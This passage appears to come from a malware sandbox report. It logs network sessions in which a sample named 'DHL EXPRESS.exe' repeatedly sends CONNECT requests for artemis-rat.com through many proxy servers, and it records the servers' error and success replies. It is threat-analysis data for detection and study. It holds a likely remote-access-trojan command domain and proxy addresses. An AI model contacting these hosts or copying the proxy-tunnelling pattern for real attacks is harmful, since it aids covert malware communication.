Mar 11, 2024 18:37:03.706747055 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:15.706542969 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:27.707581997 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:39.707830906 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:03.706408024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:38:51.706370115 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1384	192.168.2.8	54052	104.25.184.189	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.702511072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.856995106 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1385	192.168.2.8	54025	140.84.169.125	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.703759909 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.330852985 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.999557972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.409893036 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:57.097512960 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:59.706654072 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:02.409643888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:07.558554888 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:17.891180992 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:30.556540012 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1386	192.168.2.8	54057	172.67.182.90	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.703761101 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.858242035 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1387	192.168.2.8	53955	91.134.140.160	5401	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.704085112 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.452194929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.597280025 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1388	192.168.2.8	54067	172.67.181.103	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.704224110 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.858293056 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1389	192.168.2.8	54069	172.67.181.58	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.705143929 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.859358072 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1390	192.168.2.8	54079	104.16.108.149	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.728935003 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.883160114 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1391	192.168.2.8	53725	195.35.25.94	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.733526945 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:01.603801012 CET	805	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 613 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 5b 6e 6f 20 61 64 64 72 65 73 73 20 67 69 76 65 6e 5d 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at [no address given] to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1392	192.168.2.8	53731	1.15.62.12	5678	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.733527899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1393	192.168.2.8	54112	104.18.81.76	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.733663082 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.888063908 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1394	192.168.2.8	54119	104.25.115.125	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.733715057 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.888015985 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1395	192.168.2.8	53270	184.178.172.23	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.733807087 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1396	192.168.2.8	54095	104.20.179.187	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.737369061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.891860008 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:51 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1397	192.168.2.8	53031	111.20.217.178	9091	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.738302946 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.016038895 CET	325	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.1 Date: Mon, 11 Mar 2024 17:36:12 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1398	192.168.2.8	53988	51.15.210.79	16379	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.738754988 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1399	192.168.2.8	53962	185.220.226.128	808	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.740583897 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:52.456501961 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1400	192.168.2.8	53960	188.166.17.18	8881	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.741465092 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1401	192.168.2.8	52074	72.49.49.11	31034	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.743407965 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1402	192.168.2.8	52588	192.163.202.88	10185	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:51.755987883 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.769164085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
